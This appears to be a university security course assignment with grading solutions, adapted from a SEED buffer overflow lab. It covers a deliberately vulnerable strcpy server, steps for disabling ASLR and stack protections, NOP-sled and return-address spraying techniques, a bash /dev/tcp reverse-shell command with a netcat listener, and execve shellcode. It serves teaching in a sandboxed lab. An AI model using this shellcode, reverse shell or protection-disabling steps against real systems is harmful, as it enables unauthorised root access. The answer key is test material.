Assignment-05-Solutions
pdf
keyboard_arrow_up
School
Carleton University *
*We aren’t endorsed by this school
Course
4810
Subject
Computer Science
Date
Jan 9, 2024
Type
Pages
26
Uploaded by CountFlagTrout38
SYSC 4810: Introduction to Network and Software Security
Module 5
Assignment
Fall 2021
Dr. J. Jaskolka
Carleton University
Department of Systems and Computer Engineering
Posted: November 11, 2021
Due: November 28, 2021
Due on Sunday, November 28, 2021 by 11:59PM
This assignment contains 26 pages (including this cover page) and 9 problems.
You are responsible for
ensuring that your copy of the assignment is complete.
Bring any discrepancy to the attention of your
instructor.
Special Instructions:
1.
Do as many problems as you can.
2. Start early as this assignment is much more time consuming than you might initially think!
3. The burden of communication is upon you. Solutions not properly explained will not be considered
correct. Part of proper communication is the appearance and layout. If we cannot “decode” what you
wrote, we cannot grade it as a correct solution.
4. You may consult outside sources, such as textbooks, but
any use
of
any source
must
be documented
in the assignment solutions.
5. You are permitted to discuss
general aspects
of the problem sets with other students in the class, but
you must hand in your own copy of the solutions.
6. Your assignment solutions are due by 11:59PM on the due date and must be submitted on
Brightspace
.
•
Late assignments will be graded with a late penalty of 20% of the full grade per day
up to 48
hours past the deadline
.
7. You are responsible for ensuring that your assignment is submitted correctly and without corruption.
Problem
1
2
3
4
5
6
7
8
9
Total
Points:
10
15
10
11
11
8
5
5
10
85
Page 1 of 26
SYSC 4810 — Module 5
Assignment
Due Date: November 28, 2021
In this assignment, you will participate in activities related to conducting attacks exploiting buffer overflow
vulnerabilities in software systems.
This assignment aims to assess your understanding of buffer overflow
attacks, how they work, and controls for dealing with them.
Acknowledgment
This assignment is based off the “Buffer Overflow Attack Lab (Server)” SEED Lab developed by Wenliang
Du at Syracuse University.
Background Research
A significant portion of this assignment is to do the required background research on fundamentals of
programming and software development including the
execution stack
,
stack and frame pointers
,
registers
,
and
memory addressing
, as well as working with basic software development tools.
Keep in mind that
a substantial component of any software or computer systems project is to solve and/or eliminate the
underlying technical difficulties. This often means exploring user manuals and documentation.
Submission Requirements
Please read the following instructions very carefully and follow them precisely when submitting your assignment!
The following items are required for a complete assignment submission:
1.
PDF Assignment Report
: Submit a detailed report that carefully and concisely describes what
you have done and what you have observed. Include appropriate code snippets and listings, as well
as screenshots of program outputs and results. You also need to provide an adequate explanation of
the observations that are interesting or surprising. You are encouraged to pursue further investigation
beyond what is required by the assignment description.
2.
ZIP Archive of Source Code
: In addition to embedding source code listings in your assignment
report, create and submit a ZIP archive of all programs that you write for this assignment.
Please
name each of your source code files with the problem number to which they correspond (e.g., for
Problem 2(a), the source code file should be named
Problem2a.c
).
Your source code must compile
and run, producing the desired output. Also, please remember to provide sufficient comments in your
code to describe what it does and why.
3.
ZIP Archive of Screenshot Image Files
: In addition to embedding screenshots of program outputs
and results in your assignment report, create and submit a ZIP archive of all of the raw screenshot
images that you capture for this assignment.
Grading Notes
An important part of this assignment is following instructions. As such, the following grade
penalties
will
be applied for failure to comply with the submission requirements outlined above:
•
Failure to submit an Assignment Report will result in a grade of
0
for the assignment.
•
Failure to submit the Source Code files will result in deduction of
10%
of the full grade of the assignment.
•
Failure to submit the Screenshot Image files will result in deduction of
10%
of the full grade of the
assignment.
•
Failure of Source Code to compile/run will result in a grade of
0
for the corresponding problem(s).
•
Failure to submit any deliverable in the required format (PDF or ZIP) will result in deduction of
5%
of the full grade of the assignment.
Page 2 of 26
SYSC 4810 — Module 5
Assignment
Due Date: November 28, 2021
Part I
Assignment Challenge
1
Introduction
Imagine that you work for a large software development firm called
SecureTech Industries
. The organization
has just received a major investment to hire a significant number of new quality assurance engineers. Because
the development of secure software and systems is a top priority for
SecureTech Industries
, the organization is
launching an initiative to develop a penetration testing training program for new hires (trainees). Your direct
supervisor has just assigned you to prepare the training materials related to buffer overflow vulnerabilities
and countermeasures that will be provided to all new hires. The details of the assignment, including your
supervisor’s expectations, are provided in the sections below.
The different parts of this assignment are designed to guide your investigation and to prepare the different
aspects for the training materials.
At the end of the assignment, you will be required to summarize the
take-away points for new hires so that they can better understand buffer overflow vulnerabilities, attacks,
and countermeasures.
2
Context
Your supervisor has sent you the following email explaining what is expected for the training materials:
Hello,
I am sure by now that you have seen the latest memo indicating that we have secured a large
investment to hire a new batch of quality assurance engineers. You would have also seen that
we need to prepare a new set of penetration testing training materials as part of the upgraded
security training program that comes with this investment. This means we have lots of work to
do.
I need you to prepare the training materials for the buffer overflow training module for our new
hires. I have asked the senior development team to provide some sample code to help with this
task. This sample code, along with what you develop, will be provided as part of the training
package that is provided to new hires. It will enable them to get their hands dirty by trying out
a few different approaches for learning how to exploit buffer overflow vulnerabilities on server
programs and for understanding the different countermeasures that can be be put in place to
prevent them. We want our new hires to be aware of the potential ways in which they can get
root shells can by conducting buffer overflow attacks, as well as the ways in which buffer overflow
countermeasures work and their relative strengths and weaknesses.
The training materials that you prepare need to be well-organized and provide very detailed
steps of how to conduct the different experiments that we want the new hires to carry out as part
of their hands-on training. The new hires should be able to do everything based on the report
that you prepare and enable them to perform self-checks to ensure that they are successful in
completing the experiments. This means you should provide screenshots and code fragments to
help them understand what they should expect in terms of the outcomes of their experiments.
Effectively, you should think of preparing your report as a complete walkthrough of the various
experiments and tasks.
I know I can count on you for this.
Thanks,
JJ
Page 3 of 26
Your preview ends here
Eager to read complete document? Join bartleby learn and gain access to the full version
- Access to all documents
- Unlimited textbook solutions
- 24/7 expert homework help
SYSC 4810 — Module 5
Assignment
Due Date: November 28, 2021
3
Obligations
At the end of this assignment, you will be required to deliver the following information and outcomes:
1. A report that can act as a training manual for new hires to better understand buffer overflow
vulnerabilities, attacks, and countermeasures. The report should be a complete walkthrough providing
a detailed explanation of all of the steps involved in carrying out the various activities and tasks that
will be part of the penetration testing training program module related to buffer overflows.
2. A summary of the main take-away points of the training module, including a list of recommendations
(“do’s and don’ts”), so that the trainees can be better prepared to protect their programs from buffer
overflow vulnerabilities.
This must be provided in a single, well-organized report.
Page 4 of 26
SYSC 4810 — Module 5
Assignment
Due Date: November 28, 2021
Part II
Environment Setup
This assignment will be conducted using a pre-built virtual machine (VM) image.
We will assume that
you already have a virtual machine set up from the Module 1 Assignment.
For this assignment, you will
be attacking four different servers with varying levels of difficulty.
We will use containers to set up this
environment.
1
Container Setup and Commands
Please download the
Setup.zip
file to your VM from from the assignment resources for this assignment on
Brightspace, unzip it, enter the
Setup
folder, and use the
docker-compose.yml
file to set up the assignment
environment.
In what follows, we recall some of the commonly used commands related to Docker and Compose. Since we
are going to use these commands very frequently, aliases have been created for them in the
.bashrc
file in
the provided VM image.
$ docker-compose build
// Build the container image
$ docker-compose up
// Start the container
$ docker-compose down
// Shut down the container
// Aliases for the Compose commands above
$ dcbuild
// Alias for: docker-compose build
$ dcup
// Alias for: docker-compose up
$ dcdown
// Alias for: docker-compose down
All the containers will be running in the background. To run commands on a container, we need to get a
shell on that container. We first need to use the
docker ps
command to find out the ID of the container,
and then use
docker exec
to start a shell on that container.
Aliases have been created for them in the
.bashrc
file in the provided VM image.
$ dockps
// Alias for: docker ps --format "{{.ID}} {{.Names}}"
$ docksh <id>
// Alias for: docker exec -it <id> /bin/bash
// The following example shows how to get a shell inside hostC
$ dockps
b1004832e275 hostA-10.9.0.5
0af4ea7a3e2e hostB-10.9.0.6
9652715c8e0a hostC-10.9.0.7
$ docksh 96
root@9652715c8e0a:/#
// Note: If a docker command requires a container ID, you do not need to
//
type the entire ID string. Typing the first few characters will
//
be sufficient, as long as they are unique among all the containers.
If you encounter problems when setting up the environment, please read the “Common Problems” section of
the
DOCKER MANUAL
for potential solutions.
*Important Note*
Before running “docker-compose build” to build the docker images, you need to
compile and copy the
server
code to the
bof-containers
folder. This step is described in Section
2
.
Page 5 of 26
SYSC 4810 — Module 5
Assignment
Due Date: November 28, 2021
2
The Vulnerable Program
The vulnerable program used in this assignment is called
stack.c
, which is in the
server-code
folder.
This program has a buffer-overflow vulnerability. Throughout this assignment, your job is to exploit this
vulnerability and gain the root privilege on the server machines. The code listed below has some non-essential
information removed, so it is slightly different from what is provided in the setup files.
1
#include
<stdlib.h>
2
#include
<stdio.h>
3
#include
<string.h>
4
5
/* Changing this size will change the layout of the stack. */
6
#ifndef
BUF_SIZE
7
#define
BUF_SIZE 100
8
#endif
9
10
int
bof(
char
*str)
11
{
12
char
buffer[BUF_SIZE];
13
14
/* The following statement has a buffer overflow problem */
15
strcpy(buffer, str);
16
17
return
1;
18
}
19
20
int
main(
int
argc,
char
**argv)
21
{
22
char
str[517];
23
24
int
length = fread(str,
sizeof
(
char
), 517, stdin);
25
bof(str);
26
fprintf(stdout,
"==== Returned Properly ====\n"
);
27
return
1;
28
}
The above program has a buffer overflow vulnerability.
It reads data from the standard input, and then
passes the data to another buffer in the function
bof()
. The original input can have a maximum length of
517 bytes, but the buffer in
bof()
is only
BUF_SIZE
bytes long, which is less than 517. Because
strcpy()
does not check boundaries (Line 15), buffer overflow will occur.
The program will run on a server with the root privilege, and its standard input will be redirected to a
TCP connection between the server and a remote user. Therefore, the program actually gets its data from
a remote user. If users can exploit this buffer overflow vulnerability, they can get a root shell on the server.
2.1
Compilation
To compile the above vulnerable program, we need to turn off the
StackGuard
and the non-executable stack
protections using the
-fno-stack-protector
and
-z execstack
options. The following is an example of
the compilation command (the
L1
environment variable sets the value for the
BUF_SIZE
constant inside
stack.c
).
$ gcc -DBUF_SIZE=$(L1) -o stack -z execstack -fno-stack-protector stack.c
The stack program will be compiled into both 32-bit and 64-bit binaries. The VM environment is a 64-bit
VM, but it still supports 32-bit binaries. All we need to do is to use the
-m32
option in the
gcc
command.
Page 6 of 26
Your preview ends here
Eager to read complete document? Join bartleby learn and gain access to the full version
- Access to all documents
- Unlimited textbook solutions
- 24/7 expert homework help
SYSC 4810 — Module 5
Assignment
Due Date: November 28, 2021
For 32-bit compilation, we also use
-static
to generate a statically-linked binary, which is self-contained
and does not depend on any dynamic library, because the 32-bit dynamic libraries are not installed in the
containers.
The compilation commands are already provided in a
Makefile
.
To compile the code, you need to type
make
to execute those commands. The variables
L1
,
L2
,
L3
, and
L4
are set in
Makefile
; they will be used
during the compilation. The following commands conduct the compilation and installation.
$ make
$ make install
*Important Note*
After the compilation, you need to copy the binaries into the
bof-containers
folder,
so they can be used by the containers.
2.2
The Server Program
In the
server-code
folder, you will find a program called
server.c
. This is the main entry point of the
server. It listens to port
9090
. When it receives a TCP connection, it invokes the
stack
program, and sets
the TCP connection as the standard input of the stack program.
This way, when stack reads data from
stdin
, it actually reads from the TCP connection, i.e., the data are provided by the user on the TCP client
side.
3
Buffer Overflow Countermeasures
Ubuntu and other Linux distributions have implemented several security mechanisms to make conducting
buffer overflow attacks difficult.
To simplify our attacks, and to better understand how these security
mechanisms work, we will start by disabling these security mechanisms. Later on, we will enable them one
by one, and see whether the attacks can still be successful.
In this part of the assignment, we provide some information on how to disable these countermeasures.
*Important Note*
Before beginning this assignment, please ensure that you have disabled the virtual
address space randomization feature of the Linux kernel described below in Section
3.1
. This is required to
accurately predict the buffer location for your attacks.
3.1
Address Space Layout Randomization
Ubuntu and several other Linux-based systems use address space randomization to randomize the starting
address of the heap and stack. This makes guessing the exact addresses difficult; guessing addresses is one
of the critical steps of buffer overflow attacks. In this assignment, we disable this feature using the following
command:
$ sudo /sbin/sysctl -w kernel.randomize_va_space=0
3.2
The
StackGuard
Protection Scheme
The
gcc
compiler implements a security mechanism called
StackGuard
to prevent buffer overflows. In the
presence of this protection, buffer overflow attacks will not work. We can disable this protection during the
compilation using the
-fno-stack-protector
option. For example, to compile a program
example.c
with
StackGuard
disabled, we can do the following:
$ gcc -fno-stack-protector example.c
Page 7 of 26
SYSC 4810 — Module 5
Assignment
Due Date: November 28, 2021
3.3
Non-Executable Stack
Ubuntu used to allow executable stacks, but this has now changed: the binary images of programs (and
shared libraries) must declare whether they require executable stacks or not, i.e., they need to mark a field
in the program header. The kernel or dynamic linker uses this marking to decide whether to make the stack
of this running program executable or non-executable.
This marking is done automatically by the recent
versions of
gcc
, and by default, stacks are set to be non-executable. To change that, use the following option
when compiling programs:
# For executable stack:
$ gcc -z execstack -o example example.c
# For non-executable stack:
$ gcc -z noexecstack -o example example.c
4
User Accounts
As a reminder, the virtual machine has two user accounts. The usernames and passwords are listed below:
1. User ID:
root
, Password:
seedubuntu
.
•
Ubuntu does not allow root to login directly from the login window. You have to login as a normal
user, and then use the command
su
to login to the
root
account.
2. User ID:
seed
, Password:
dees
.
•
This account is already given the root privilege, but to use the privilege, you need to use the
sudo
command.
*Important Note*
It is essential that you set up the virtual machine environments as early as possible
to ensure that you have time to address any technical difficulties that you may face. The instructor and the
TA will not be able to provide adequate technical support close to the assignment due date.
Page 8 of 26
SYSC 4810 — Module 5
Assignment
Due Date: November 28, 2021
Part III
Buffer Overflow Attacks
1
Introduction
Buffer overflow is defined as the condition in which a program attempts to write data beyond the boundaries
of pre-allocated fixed length buffers. This vulnerability can be used by a malicious adversary to alter the
flow control of the program, leading to the execution of malicious code. This vulnerability arises due to the
mixing of the storage for data (e.g., buffers) and the storage for controls (e.g., return addresses): an overflow
in the data part can affect the control flow of the program, because an overflow can change the return
address. The objective of this assignment is for you to gain practical insights into this type of vulnerability,
and learn how to exploit the vulnerability in attacks.
In this assignment, you will develop a report that can serve as a training manual for the new hires (trainees) of
SecureTech Industries
that will provide hands-on experience with buffer overflow vulnerabilities and attacks.
Your task is to develop the step-by-step procedures to be included in the training manual that will enable
trainees to to exploit the vulnerability on the provided server programs and finally gain a reverse shell
with root privileges. In addition to the attacks, the training manual should also explore several protection
schemes that have been implemented in the operating system to counter against buffer overflow attacks.
Your training materials are required to evaluate whether the schemes work or not and explain why to help
the trainees better understand the strengths and limitations of these different defenses.
2
Background
2.1
Execution Stacks and Memory Addressing
In this section, we briefly summarize some of the important guidelines regarding execution stacks and memory
addressing that are required for understanding buffer overflow attacks, how they work, and how to launch
such an attack.
2.1.1
Stack Layout
To execute the shellcode in the execution stack, we need the instruction pointer to point to it. One thing
we can do to accomplish this is to change the return address to point to the shellcode. But we have two
problems: (1) we do not know where the return address is stored, and (2) we do not know where the shellcode
is stored. To answer these questions, we need to understand the stack layout when the execution enters a
function. Figure
1
gives an example of stack layout during a function invocation.
2.1.2
Finding the Address of the Malicious Code
To be able to jump to our malicious code, we need to know the memory address of the malicious code.
Unfortunately, we do not know where exactly our malicious code is. We only know that our code is copied
into the target buffer on the stack, but we do not know the buffer’s memory address, because its exact
location depends on the program’s stack usage.
If you can accurately calculate the address of
buffer[]
, you should be able to accurately calculate the
starting point of the malicious code. Even if you cannot accurately calculate the address (for example, for
remote programs), you can still
guess
. In theory, the entire search space for a random guess is
2
32
addresses
(for a 32-bit machine), but in practice, the space is much smaller.
Two facts make the search space small and that make guessing a feasible approach.
First,
before
countermeasures are introduced, most operating systems place the stack (each process has one) at a fixed
starting address. It should be noted that the address is a virtual address, which is mapped to a different
Page 9 of 26
Your preview ends here
Eager to read complete document? Join bartleby learn and gain access to the full version
- Access to all documents
- Unlimited textbook solutions
- 24/7 expert homework help
SYSC 4810 — Module 5
Assignment
Due Date: November 28, 2021
void
func (
char
*str) {
char
buffer[12];
int
variable_a;
strcpy(buffer, str);
}
int
main() {
char
*str =
"I am greater than 12 bytes"
;
func(str);
}
(a) A code example
. . .
High Address
str (a pointer to a string)
Return Address
Previous Frame Pointer (FP)
Current FP
buffer[0] . . . buffer[11]
variable_a
Current frame
. . .
Low Address
(b) Active stack frame in
func()
Figure 1: An example of stack layout during a function invocation
physical memory address for different processes. Therefore, there is no conflict for different processes to use
the same virtual address for its stack.
Second, most programs do not have a deep stack.
The stack can
grow deep if the function call chain is long, but this usually happens in recursive function calls. Typically,
call chains are not very long, so in most programs, stacks are quite shallow. Combining the first and second
facts, we can tell that the search space is much smaller than
2
32
, so guessing the correct address is not as
difficult as it may first seem.
For our guess to be successful, we need to guess the exact entry point the malicious code.
If we miss by
one byte, the attack will fail (usually with a Segmentation Fault). To improve the chance of success when
guessing the correct address, we can create many entry points for the malicious code. The can be done by
adding many No-Op (
NOP
) instructions before the actual entry point of the code. The
NOP
instruction does
not do anything meaningful, other than advancing the program counter to the next location.
Therefore,
if we can jump to any of these
NOP
s, we can eventually get to the malicious code.
This will significantly
increase the success rate. This is illustrated in Figure
2
.
. . .
Malicious Code
str
Return Address
Previous FP
buffer[0] . . . buffer[11]
. . .
(a) Jump to the malicious code
. . .
Malicious Code
NOP
NOP
.
.
.
many
NOP
s
NOP
str
Return Address
Previous FP
buffer[0] . . . buffer[11]
. . .
(b) Improving the chance of success
Figure 2: Finding the starting point of the malicious code
Page 10 of 26
SYSC 4810 — Module 5
Assignment
Due Date: November 28, 2021
2.1.3
Finding the Address of the Malicious Code without Guessing
Knowing the Buffer Size and Address
There are two critical pieces of information for buffer overflow attacks: the buffer’s address and size. In this
section, we assume that an attacker knows both of these pieces of information.
If an attacker is on the same machine that runs the vulnerable program, they can get a copy of the vulnerable
program, do some investigation, and derive the address for the malicious code without a need for guessing.
The attack can use
debugging
to find out where the stack frame resides on the stack, and use that to derive
where the code is. A debugger can easily help an attacker to print out the value of the frame pointer (
ebp
)
and the address of the buffer.
Once the attacker learns the value of the frame pointer (
ebp
), they can tell that the can the return address
is stored in
ebp + 4
(for a 32-bit machine; recall that pointers in a 32-bit machine are 4 bytes long). This
means that the first address that the attacker can jump to is
ebp + 8
(i.e., the memory region starting from
this address is filled with
NOP
s).
Therefore, the attacker can put
ebp + 8
inside the return address field.
Inside the input, where is the return address field? Since the input will be copied to the buffer starting from
its beginning, the attacker needs to know where the buffer starts in the memory, and what the distance is
between the buffer’s starting point and the return address field.
The attacker can use the address of the
buffer (
&buffer
) and calculate the distance between
ebp
and the buffer’s starting address. Then recalling
that the return address field is 4 bytes above where
ebp
points to, the attacker can determine where the
buffer starts in the memory.
Note that the debugging method may not be applicable for remote attacks, where attackers try to inject
code from a remote machine. Remote attackers may not have a copy of the vulnerable program; nor can
they conduct investigation on the target machine. Additionally, in real-world situations, an attacker may
not be able to know the exact values of the buffer size and address.
Knowing the Range of the Buffer Size
In this section, we assume that an attacker knows the address of the buffer (
&buffer
), but they do not know
exactly what the buffer size is; they only know it is in a range, from 10 to 100, for example. Obviously, the
attacker can use a brute force approach, trying all the values between 10 to 100. The question is whether the
attacker can do it with only one try. In real-world situations, brute-force attacks can easily trigger alarms,
so the less that is tried the better.
The buffer size decides where the return address is.
Without knowing the actual buffer size, we do not
know which area in the input string should be used to hold the return address (denoted
RT
). Guessing is an
approach, but there is a better solution: instead of putting the return address in one location, we put it in
all the possible locations, so it does not matter which one is the actual location. This technique is called
spraying
, i.e., we spray the buffer with the return address.
Since the range of the buffer size is between 10 to 100, the actual distance between the return address field
and the beginning of the buffer will be at most 100 plus some small value (compilers may add additional
space after the end of the buffer).
Therefore, the attacker can consider 120, for instance.
Thus, if the
attacker can spray the first 120 bytes of the buffer with the return address (4 bytes for each address), they
can guarantee that one of them will overwrite the actual return address field.
The attacker does not need to decide the value for the return address. The first
NOP
instruction will be at
address
&buffer + 120
. Since we assume that
&buffer
is known to the attacker, they can use
&buffer +
120
for the return address. Actually, because of the
NOP
s, any address between this value and the starting
address of the malicious code can be used.
Knowing the Range of the Buffer Address
In this section, we lift the assumption on the buffer address. We assume that the attacker does not know the
exact value of the buffer address, but they know its range is between some known address
A
and
A+100
. We
also assume, as we have in the previous section, that the attacker only knows that the size of the buffer is in
Page 11 of 26
SYSC 4810 — Module 5
Assignment
Due Date: November 28, 2021
a range between 10 to 100. The attacker would like to construct one payload, so regardless what the buffer
address is, as long as it is within the specified range, the payload can successfully exploit the vulnerability.
In this case, the attacker can still use the
spraying
technique to construct the first 120 bytes of the buffer,
and put 150 bytes of
NOP
afterward, followed by the malicious code. Therefore, if the buffer’s address is
X
,
the
NOP
section will be in the range of
[X + 120, X + 270]
. However, the attacker does not know
X
, and
therefore they do not know the exact range for the
NOP
section. Since
X
is in the range of
[A, A + 100]
, the
attacker can enumerate all the possible values for
X
, and see where their
NOP
sections are as shown below:
Buffer Address
NOP
Section
A
[A + 120,
A + 270
]
A+4
[A + 124, A + 274]
A+8
[A + 128, A + 278]
. . .
. . .
A+100
[
A + 220
, A + 370]
To find a
NOP
that works for all the possible buffer addresses, the
NOP
must be in the conjunction of all the
NOP
sections shown above. That will be
[A + 220, A + 270]
. Namely, any address in this range can be
used for the return address.
Let us generalize what we have just discussed regarding the return address value that can be used in the
attack. Assume that the buffer address is within the range of
[A, A + H]
, the first
S
bytes of the buffer are
used for the spraying, and the next
L
bytes of the buffer are filled with the
NOP
instruction (the
NOP
section).
•
If the buffer’s actual starting address is
X = A
, the
NOP
section’s range will be
[A + S, A + S + L]
.
Any number in this range can be used for the return address.
•
If the buffer’s actual starting address is
X = A + 4
, the
NOP
section’s range will be
[(A + 4) + S ,
(A + 4) + S + L]
. Any number in this range can be used for the return address.
•
If the buffer’s actual starting address is
X = A + H
, the
NOP
section’s range will be
[(A + H) + S ,
(A + H) + S + L]
. Any number in this range can be used for the return address.
Figure
3
depicts the idea. If we want to find an return address value that works for all the possible buffer
addresses, it must be in the conjunction of all the ranges for
X = A, A+4, ..., A+H
. From Figure
3
, we can
see that the conjunction is
[A + H + S, A + S + L)
. Any number in this range can be used for the return
address.
Difficulties arise when
H
is larger than
L
, i,e., the lower bound of the above range is larger than the upper
bound. In this case, the range is impossible, and no value for the return address can satisfy all the buffer
addresses.
Intuitively speaking, if the range of the buffer address is too large, but the space to put
NOP
instructions is too small, the attacker will not be able to find a solution. To have at least one solution, the
relationship
H < L
must hold.
Since
L
is decided by the payload size, which depends on how many bytes the vulnerable program can take
from the attacker, the attacker cannot arbitrarily increase
L
to satisfy the inequality. Similarly, the attacker
cannot reduce the width
H
of the specified range for the buffer address.
However, they we can break the
range into smaller subranges, each of which has a smaller width
H’
. As long as
H’
is less than
L
, the attacker
can find a solution. Basically, if the range is too wide, the attacker can break it into smaller subranges, and
then construct a malicious payload for each of the subranges.
2.2
Root Shells
A
shell
is a program that provides the traditional, text-only user interface for Unix-like operating systems.
Its primary function is to read commands that are typed into a console or terminal window and then execute
them.
A shell that operates with
root
privileges is called a
root shell
.
A root shell is denoted by the
#
prompt rather than the non-root
$
prompt.
Page 12 of 26
Your preview ends here
Eager to read complete document? Join bartleby learn and gain access to the full version
- Access to all documents
- Unlimited textbook solutions
- 24/7 expert homework help
SYSC 4810 — Module 5
Assignment
Due Date: November 28, 2021
RT
RT
…
RT
NOP
…
NOP
Malicious Code
Start of the buffer:
X
Return Address Section:
Length =
S
NOP
Section:
Length =
L
X+S
X+S+L
RT can be picked from this range
X=A
X=A+4
X=A+H
...
...
A+S
A+S+L
(A+4)+S
(A+4)+S+L
(A+H)+S
(A+H)+S+L
RT picked from this range will work for all values of X
Structure of the
badfile
Figure 3: Spraying the buffer with return addresses
2.3
Reverse Shells
The key idea of a reverse shell is to redirect its standard input, output, and error devices to a network
connection, so the shell gets its input from the connection, and prints out its output also to the connection.
At the other end of the connection is a program run by the attacker; the program simply displays whatever
comes from the shell at the other end, and sends whatever is typed by the attacker to the shell, over the
network connection.
A commonly used program by attackers is
netcat
, which, if running with the
-l
option, becomes a TCP
server that listens for a connection on the specified port. This server program basically prints out whatever
is sent by the client, and sends to the client whatever is typed by the user running the server.
In what
follows,
netcat
(
nc
for short) is used to listen for a connection on port
9090
.
Attacker(10.0.2.6):$ nc -nv -l 9090
// Waiting for reverse shell
Listening on 0.0.0.0 9090
Connection received on 10.0.2.5 39452
Server(10.0.2.5):$
// Reverse shell from 10.0.2.5
Server(10.0.2.5):$ ifconfig
ifconfig
enp0s3: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.0.2.5 netmask 255.255.255.0 broadcast 10.0.2.255
Let us focus on the first line. The
nc
command will block, waiting for a connection. We now directly run
the following bash program on the Server machine (
10.0.2.5
) to emulate what attackers would run after
compromising the server via the
Shellshock attack
. This bash command will trigger a TCP connection to the
attacker machine’s port
9090
, and a reverse shell will be created. We can see the shell prompt from the above
result, indicating that the shell is running on the Server machine; we can type the
ifconfig
command to
verify that the IP address is indeed
10.0.2.5
, the one belonging to the Server machine. The bash command
is provided here:
Page 13 of 26
SYSC 4810 — Module 5
Assignment
Due Date: November 28, 2021
Server(10.0.2.5):$ /bin/bash -i > /dev/tcp/10.0.2.6/9090 0<&1 2>&1
The above command represents the one that would normally be executed on a compromised server. It is
quite complicated, and we give a detailed explanation below:
•
/bin/bash -i
: The option
i
stands for interactive, meaning that the shell must be interactive (i.e., it
must provide a shell prompt).
•
> /dev/tcp/10.0.2.6/9090
: This causes the output device (
stdout
) of the shell to be redirected to
the TCP connection to
10.0.2.6
’s port
9090
. In Unix systems,
stdout
’s file descriptor is
1
.
•
0<&1
: File descriptor
0
represents the standard input device (
stdin
). This option tells the system to
use the standard output device as the standard input device. Since
stdout
is already redirected to
the TCP connection, this option basically indicates that the shell program will get its input from the
same TCP connection.
•
2>&1
: File descriptor
2
represents the standard error (
stderr
).
This causes the error output to be
redirected to
stdout
, which is the TCP connection.
In summary, the command
/bin/bash -i > /dev/tcp/10.0.2.6/9090 0<&1 2>&1
starts a bash shell on
the server machine, with its input coming from a TCP connection, and output going to the same TCP
connection. In this example, when the bash shell command is executed on
10.0.2.5
, it connects back to the
netcat
process started on
10.0.2.6
. This is confirmed via the
Connection from 10.0.2.5 ...
message
displayed by
netcat
.
3
Problems and Tasks
Problem 1
[10 points]
Geting Familiar with the Shellcode:
The ultimate goal of buffer-overflow attacks is to inject
malicious code into the target program, so the code can be executed using the target program’s privilege.
Shellcode is widely used in most code-injection attacks. Let us get familiar with it in this task. Shellcode
is basically a piece of code that launches a shell, and is usually written in assembly languages. The generic
shellcode is listed below (we only list the 32-bit version; a 64-bit version is included in the Setup files):
1
shellcode = (
2
"\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
3
"\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
’
4
"\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
5
"/bin/bash*"
6
"-c*"
7
"/bin/ls -l; echo Hello; /bin/tail -n 2 /etc/passwd *"
8
# The * in this line serves as the position marker *
9
"AAAA"
# Placeholder for argv[0] --> "/bin/bash"
10
"BBBB"
# Placeholder for argv[1] --> "-c"
11
"CCCC"
# Placeholder for argv[2] --> the command string
12
"DDDD"
# Placeholder for argv[3] --> NULL
13
).encode(’latin-1’)
The shellcode runs the
/bin/bash
shell program (Line 5), but it is given two arguments,
-c
(Line 6) and
a command string (Line 7). This indicates that the shell program will run the commands in the second
argument. The asterisk (
*
) at the end of these strings is only a placeholder, and it will be replaced by
one byte of
0x00
during the execution of the shellcode. Each string needs to have a zero at the end, but
we cannot put zeros in the shellcode. Instead, we put a placeholder at the end of each string, and then
dynamically put a zero in the placeholder during the execution.
Page 14 of 26
SYSC 4810 — Module 5
Assignment
Due Date: November 28, 2021
If we want the shellcode to run some other commands, we just need to modify the command string in
Line 7. However, when making changes, we need to make sure not to change the length of this string,
because the starting position of the placeholder for the
argv[]
array, which is right after the command
string, is hardcoded in the binary portion of the shellcode. If we change the length, we need to modify
the binary part. To keep the asterisk (
*
) at the end of this string at the same position, you can add or
delete spaces.
You can find the generic shellcode in the
shellcode
folder of the setup files. Inside, you will see two
Python programs,
shellcode_32.py
and
shellcode_64.py
. They are for 32-bit and 64-bit shellcode,
respectively. These two Python programs will write the binary shellcode to
codefile_32
and
codefile_64
,
respectively. You can then use
call_shellcode
to execute the shellcode in them.
// Generate the shellcode binary
$ ./shellcode_32.py
// generate codefile_32
$ ./shellcode_64.py
// generate codefile_64
// Compile call_shellcode.c
$ make
// generate a32.out and a64.out
// Test the shellcode
$ a32.out
// execute the shellcode in codefile_32
$ a64.out
// execute the shellcode in codefile_64
(a) [5 points] Compile and run the shellcode provided in the
shellcode
folder of the setup files. Explain
what the shellcode is doing for both the 32-bit case and the 64-bit case. In your assignment report,
make sure to explain how to compile and run the shellcode and include screenshots showing the
results of executing the shellcode.
Solution:
Award 1 point for explaining how to compile and run the shellcode. Award 1 point
for explaining what the 32-bit version of the shellcode does. Award 1 point for explaining what
the 64-bit version of the shellcode does. Award 1 point for appropriate screenshots of the 32-bit
case. Award 1 point for appropriate screenshots of the 64-bit case.
Students should provide an appropriate explanation of the commands used to compile the 32
-bit and 64-bit version of the shellcode. Students should observe that the shellcode prints hello
and then the last 2 lines of the user database (
/etc/passwd
) file (for the 32-bit case) and
the last 4 lines of the user database (for the 64-bit case). Students should demonstrate their
observations with suitable screenshots and explanations.
(b) [5 points] Modify the shellcode so that you can use it to create a file called
infected.txt
on
the Desktop. In your assignment report, please include your modified the shellcode as well as an
explanation of the modifications. Do not forget to also include screenshots showing the results of
executing your modified shellcode.
Solution:
Award 1 point for a modification to the shellcode that changes the directory to the
Desktop.
Award 1 point for a suitable explanation of the modification.
Award 1 point for
a modification to the shellcode that creates a file called
infected.txt
. Award 1 point for a
suitable explanation of the modification. Award 1 point for appropriate screenshots of results.
Students should change Line 7 of the shellcode provided in the problem to:
"cd ~/Desktop; /bin/touch infected.txt *"
Note that students may use different commands, but the overall effect should be the same.
Students should demonstrate their observations with suitable screenshots and explanations.
Page 15 of 26
Your preview ends here
Eager to read complete document? Join bartleby learn and gain access to the full version
- Access to all documents
- Unlimited textbook solutions
- 24/7 expert homework help
SYSC 4810 — Module 5
Assignment
Due Date: November 28, 2021
Problem 2
[15 points]
Attacking a 32-bit Server Program: Knowing the Buffer Size and Address (Level-1):
For this problem, the target server runs on
10.9.0.5
(the port number is
9090
), and the vulnerable
program
stack
is a 32-bit program.
